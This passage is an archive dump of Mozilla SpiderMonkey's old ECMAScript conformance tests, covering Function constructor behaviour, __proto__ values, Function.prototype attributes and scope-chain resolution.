this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/extensions/15-2.js0000664000175000017500000000361312106270663021177 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15-2.js ECMA Section: 15 Native ECMAScript Objects Description: Every built-in function and every built-in constructor has the Function prototype object, which is the value of the expression Function.prototype as the value of its internal [[Prototype]] property, except the Function prototype object itself. That is, the __proto__ property of builtin functions and constructors should be the Function.prototype object. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Native ECMAScript Objects"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ ); new TestCase( SECTION, "Array.__proto__", Function.prototype, Array.__proto__ ); new TestCase( SECTION, "String.__proto__", Function.prototype, String.__proto__ ); new TestCase( SECTION, "Boolean.__proto__", Function.prototype, Boolean.__proto__ ); new TestCase( SECTION, "Number.__proto__", Function.prototype, Number.__proto__ ); new TestCase( SECTION, "Date.__proto__", Function.prototype, Date.__proto__ ); new TestCase( SECTION, "TestCase.__proto__", Function.prototype, TestCase.__proto__ ); new TestCase( SECTION, "eval.__proto__", Function.prototype, eval.__proto__ ); new TestCase( SECTION, "Math.pow.__proto__", Function.prototype, Math.pow.__proto__ ); new TestCase( SECTION, "String.prototype.indexOf.__proto__", Function.prototype, String.prototype.indexOf.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/10.1.4-9.js0000664000175000017500000000550312106270663021502 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-9.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-9"; var VERSION = "ECMA_2"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( SECTION, "NEW_PROPERTY = " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var RESULT = "hello"; with ( MYOBJECT ) { NEW_PROPERTY = RESULT; } gTestcases[gTc].actual = NEW_PROPERTY; gTestcases[gTc].expect = RESULT; gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject( n ) { this.__proto__ = Number.prototype; } mozjs17.0.0/js/src/tests/ecma/extensions/15.8-1.js0000664000175000017500000000267212106270663021350 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8-1.js ECMA Section: 15.8 The Math Object Description: The Math object is merely a single object that has some named properties, some of which are functions. The value of the internal [[Prototype]] property of the Math object is the Object prototype object (15.2.3.1). The Math object does not have a [[Construct]] property; it is not possible to use the Math object as a constructor with the new operator. The Math object does not have a [[Call]] property; it is not possible to invoke the Math object as a function. Recall that, in this specification, the phrase "the number value for x" has a technical meaning defined in section 8.5. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.8-1"; var VERSION = "ECMA_2"; startTest(); var TITLE = "The Math Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.__proto__ == Object.prototype", true, Math.__proto__ == Object.prototype ); new TestCase( SECTION, "Math.__proto__", Object.prototype, Math.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.3.3.1-1.js0000664000175000017500000000177712106270663021650 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.3.1-1.js ECMA Section: 15.3.3.1 Properties of the Function Constructor Function.prototype Description: The initial value of Function.prototype is the built-in Function prototype object. This property shall have the attributes [DontEnum | DontDelete | ReadOnly] This test the value of Function.prototype. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.3.1-1"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Function.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Function.prototype == Function.__proto__", true, Function.__proto__ == Function.prototype ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.7.3.js0000664000175000017500000000201212106270663021336 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.js 15.7.3 Properties of the Number Constructor Description: The value of the internal [[Prototype]] property of the Number constructor is the Function prototype object. The Number constructor also has the internal [[Call]] and [[Construct]] properties, and the length property. Other properties are in subsequent tests. Author: christine@netscape.com Date: 29 september 1997 */ var SECTION = "15.7.3"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Properties of the Number Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase(SECTION, "Number.__proto__", Function.prototype, Number.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.3.1.1-2.js0000664000175000017500000000304012106270663021630 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.1.1-2.js ECMA Section: 15.3.1.1 The Function Constructor Called as a Function Function(p1, p2, ..., pn, body ) Description: When the Function function is called with some arguments p1, p2, . . . , pn, body (where n might be 0, that is, there are no "p" arguments, and where body might also not be provided), the following steps are taken: 1. Create and return a new Function object exactly if the function constructor had been called with the same arguments (15.3.2.1). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.1.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); var myfunc2 = Function("a, b, c", "return a+b+c" ); var myfunc3 = Function("a,b", "c", "return a+b+c" ); myfunc2.toString = Object.prototype.toString; myfunc3.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc2.__proto__", Function.prototype, myfunc2.__proto__ ); new TestCase( SECTION, "myfunc3.__proto__", Function.prototype, myfunc3.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.5.4.2.js0000664000175000017500000000140212106270663021477 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.2.js ECMA Section: 15.5.4.2 String.prototype.toString Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.5.4.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.tostring"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.toString.__proto__", Function.prototype, String.prototype.toString.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.3.2.1-2.js0000664000175000017500000000232112106270663021632 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.2.1.js ECMA Section: 15.3.2.1 The Function Constructor new Function(p1, p2, ..., pn, body ) Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); var myfunc1 = new Function("a","b","c", "return a+b+c" ); var myfunc2 = new Function("a, b, c", "return a+b+c" ); var myfunc3 = new Function("a,b", "c", "return a+b+c" ); myfunc1.toString = Object.prototype.toString; myfunc2.toString = Object.prototype.toString; myfunc3.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc2.__proto__", Function.prototype, myfunc2.__proto__ ); new TestCase( SECTION, "myfunc3.__proto__", Function.prototype, myfunc3.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/0000775000175000017500000000000012106270663021152 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.1.1-1.js0000664000175000017500000000641712106270663022542 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.1.1.js ECMA Section: 15.3.1.1 The Function Constructor Called as a Function Description: When the Function function is called with some arguments p1, p2, . . . , pn, body (where n might be 0, that is, there are no "p" arguments, and where body might also not be provided), the following steps are taken: 1. Create and return a new Function object exactly if the function constructor had been called with the same arguments (15.3.2.1). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.1.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); var MyObject = Function( "value", "this.value = value; this.valueOf = Function( 'return this.value' ); this.toString = Function( 'return String(this.value);' )" ); var myfunc = Function(); myfunc.toString = Object.prototype.toString; // not going to test toString here since it is implementation dependent. // new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() ); myfunc.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc = Function(); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc.toString() ); new TestCase( SECTION, "myfunc.length", 0, myfunc.length ); new TestCase( SECTION, "myfunc.prototype.toString()", "[object Object]", myfunc.prototype.toString() ); new TestCase( SECTION, "myfunc.prototype.constructor", myfunc, myfunc.prototype.constructor ); new TestCase( SECTION, "myfunc.arguments", null, myfunc.arguments ); new TestCase( SECTION, "var OBJ = new MyObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyObject(true); OBJ.valueOf()") ); new TestCase( SECTION, "OBJ.toString()", "true", OBJ.toString() ); new TestCase( SECTION, "OBJ.toString = Object.prototype.toString; OBJ.toString()", "[object Object]", eval("OBJ.toString = Object.prototype.toString; OBJ.toString()") ); new TestCase( SECTION, "MyObject.toString = Object.prototype.toString; MyObject.toString()", "[object Function]", eval("MyObject.toString = Object.prototype.toString; MyObject.toString()") ); new TestCase( SECTION, "MyObject.length", 1, MyObject.length ); new TestCase( SECTION, "MyObject.prototype.constructor", MyObject, MyObject.prototype.constructor ); new TestCase( SECTION, "MyObject.arguments", null, MyObject.arguments ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.3.1-3.js0000664000175000017500000000226312106270663022541 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.3.1-3.js ECMA Section: 15.3.3.1 Properties of the Function Constructor Function.prototype Description: The initial value of Function.prototype is the built-in Function prototype object. This property shall have the attributes [DontEnum | DontDelete | ReadOnly] This test the DontDelete property of Function.prototype. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.3.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); var FUN_PROTO = Function.prototype; new TestCase( SECTION, "delete Function.prototype", false, delete Function.prototype ); new TestCase( SECTION, "delete Function.prototype; Function.prototype", FUN_PROTO, eval("delete Function.prototype; Function.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.5.1.js0000664000175000017500000000264312106270663022405 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.5.1.js ECMA Section: Function.length Description: The value of the length property is usually an integer that indicates the "typical" number of arguments expected by the function. However, the language permits the function to be invoked with some other number of arguments. The behavior of a function when invoked on a number of arguments other than the number specified by its length property depends on the function. this test needs a 1.2 version check. http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104204 Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.3.5.1"; var VERSION = "ECMA_1"; var TITLE = "Function.length"; var BUGNUMBER="104204"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var f = new Function( "a","b", "c", "return f.length"); new TestCase( SECTION, 'var f = new Function( "a","b", "c", "return f.length"); f()', 3, f() ); new TestCase( SECTION, 'var f = new Function( "a","b", "c", "return f.length"); f(1,2,3,4,5)', 3, f(1,2,3,4,5) ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/shell.js0000664000175000017500000000000012106270663022605 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.3.1-2.js0000664000175000017500000000205612106270663022540 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.3.1-2.js ECMA Section: 15.3.3.1 Properties of the Function Constructor Function.prototype Description: The initial value of Function.prototype is the built-in Function prototype object. This property shall have the attributes [DontEnum | DontDelete | ReadOnly] This test the DontEnum property of Function.prototype. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var str='';for (prop in Function ) str += prop; str;", "", eval("var str='';for (prop in Function) str += prop; str;") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.3.2.js0000664000175000017500000000140712106270663022401 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.3.2.js ECMA Section: 15.3.3.2 Properties of the Function Constructor Function.length Description: The length property is 1. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.3.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.length"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Function.length", 1, Function.length ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.3.1-4.js0000664000175000017500000000206112106270663022536 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.3.1-4.js ECMA Section: 15.3.3.1 Properties of the Function Constructor Function.prototype Description: The initial value of Function.prototype is the built-in Function prototype object. This property shall have the attributes [DontEnum | DontDelete | ReadOnly] This test the ReadOnly property of Function.prototype. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.3.1-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Function.prototype = null; Function.prototype", Function.prototype, eval("Function.prototype = null; Function.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.4.js0000664000175000017500000000365712106270663022253 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.4.js ECMA Section: 15.3.4 Properties of the Function Prototype Object Description: The Function prototype object is itself a Function object ( its [[Class]] is "Function") that, when invoked, accepts any arguments and returns undefined. The value of the internal [[Prototype]] property object is the Object prototype object. It is a function with an "empty body"; if it is invoked, it merely returns undefined. The Function prototype object does not have a valueOf property of its own; however it inherits the valueOf property from the Object prototype Object. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Function Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", eval("var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()")); // new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ ); new TestCase( SECTION, "Function.prototype.valueOf", Object.prototype.valueOf, Function.prototype.valueOf ); new TestCase( SECTION, "Function.prototype()", (void 0), Function.prototype() ); new TestCase( SECTION, "Function.prototype(1,true,false,'string', new Date(),null)", (void 0), Function.prototype(1,true,false,'string', new Date(),null) ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.5-1.js0000664000175000017500000000667312106270663022413 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.5-1.js ECMA Section: 15.3.5 Properties of Function Instances new Function(p1, p2, ..., pn, body ) Description: 15.3.5.1 length The value of the length property is usually an integer that indicates the "typical" number of arguments expected by the function. However, the language permits the function to be invoked with some other number of arguments. The behavior of a function when invoked on a number of arguments other than the number specified by its length property depends on the function. 15.3.5.2 prototype The value of the prototype property is used to initialize the internal [[ Prototype]] property of a newly created object before the Function object is invoked as a constructor for that newly created object. 15.3.5.3 arguments The value of the arguments property is normally null if there is no outstanding invocation of the function in progress (that is, the function has been called but has not yet returned). When a non-internal Function object (15.3.2.1) is invoked, its arguments property is "dynamically bound" to a newly created object that contains the arguments on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this property is discouraged; it is provided principally for compatibility with existing old code. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of Function Instances"; writeHeaderToLog( SECTION + " "+TITLE); var args = ""; for ( var i = 0; i < 2000; i++ ) { args += "arg"+i; if ( i != 1999 ) { args += ","; } } var s = ""; for ( var i = 0; i < 2000; i++ ) { s += ".0005"; if ( i != 1999 ) { s += ","; } } MyFunc = new Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r"); MyObject = new Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };"); new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length ); new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") ); new TestCase( SECTION, "MyFunc.prototype.toString()", "[object Object]", MyFunc.prototype.toString() ); new TestCase( SECTION, "typeof MyFunc.prototype", "object", typeof MyFunc.prototype ); new TestCase( SECTION, "MyObject.length", 2000, MyObject.length ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()") ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.4-1.js0000664000175000017500000000400312106270663022373 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.4-1.js ECMA Section: 15.3.4 Properties of the Function Prototype Object Description: The Function prototype object is itself a Function object ( its [[Class]] is "Function") that, when invoked, accepts any arguments and returns undefined. The value of the internal [[Prototype]] property object is the Object prototype object. It is a function with an "empty body"; if it is invoked, it merely returns undefined. The Function prototype object does not have a valueOf property of its own; however it inherits the valueOf property from the Object prototype Object. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Function Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", eval("var myfunc = Function.prototype; myfunc.toString = Object.prototype.toString; myfunc.toString()")); // new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ ); new TestCase( SECTION, "Function.prototype.valueOf", Object.prototype.valueOf, Function.prototype.valueOf ); new TestCase( SECTION, "Function.prototype()", (void 0), Function.prototype() ); new TestCase( SECTION, "Function.prototype(1,true,false,'string', new Date(),null)", (void 0), Function.prototype(1,true,false,'string', new Date(),null) ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.2.1-3.js0000664000175000017500000000441212106270663022536 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.2.1-3.js ECMA Section: 15.3.2.1 The Function Constructor new Function(p1, p2, ..., pn, body ) Description: The last argument specifies the body (executable code) of a function; any preceding arguments sepcify formal parameters. See the text for description of this section. This test examples from the specification. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.2.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); var args = ""; for ( var i = 0; i < 2000; i++ ) { args += "arg"+i; if ( i != 1999 ) { args += ","; } } var s = ""; for ( var i = 0; i < 2000; i++ ) { s += ".0005"; if ( i != 1999 ) { s += ","; } } MyFunc = new Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r"); MyObject = new Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };"); new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length ); new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") ); new TestCase( SECTION, "MyObject.length", 2000, MyObject.length ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()") ); new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/browser.js0000664000175000017500000000000012106270663023161 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.1.1-3.js0000664000175000017500000000462212106270663022540 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.1.1-3.js ECMA Section: 15.3.1.1 The Function Constructor Called as a Function new Function(p1, p2, ..., pn, body ) Description: The last argument specifies the body (executable code) of a function; any preceding arguments sepcify formal parameters. See the text for description of this section. This test examples from the specification. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.1.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); var args = ""; for ( var i = 0; i < 2000; i++ ) { args += "arg"+i; if ( i != 1999 ) { args += ","; } } var s = ""; for ( var i = 0; i < 2000; i++ ) { s += ".0005"; if ( i != 1999 ) { s += ","; } } MyFunc = Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r"); MyObject = Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };"); var MY_OB = eval( "MyFunc("+ s +")" ); new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length ); new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, MY_OB ); new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") ); new TestCase( SECTION, "MyObject.length", 2000, MyObject.length ); new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") ); new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1()") ); new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.4.1.js0000664000175000017500000000154112106270663022400 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.4.1.js ECMA Section: 15.3.4.1 Function.prototype.constructor Description: The initial value of Function.prototype.constructor is the built-in Function constructor. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.prototype.constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Function.prototype.constructor", Function, Function.prototype.constructor ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.2.1-1.js0000664000175000017500000000562412106270663022542 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.2.1.js ECMA Section: 15.3.2.1 The Function Constructor new Function(p1, p2, ..., pn, body ) Description: The last argument specifies the body (executable code) 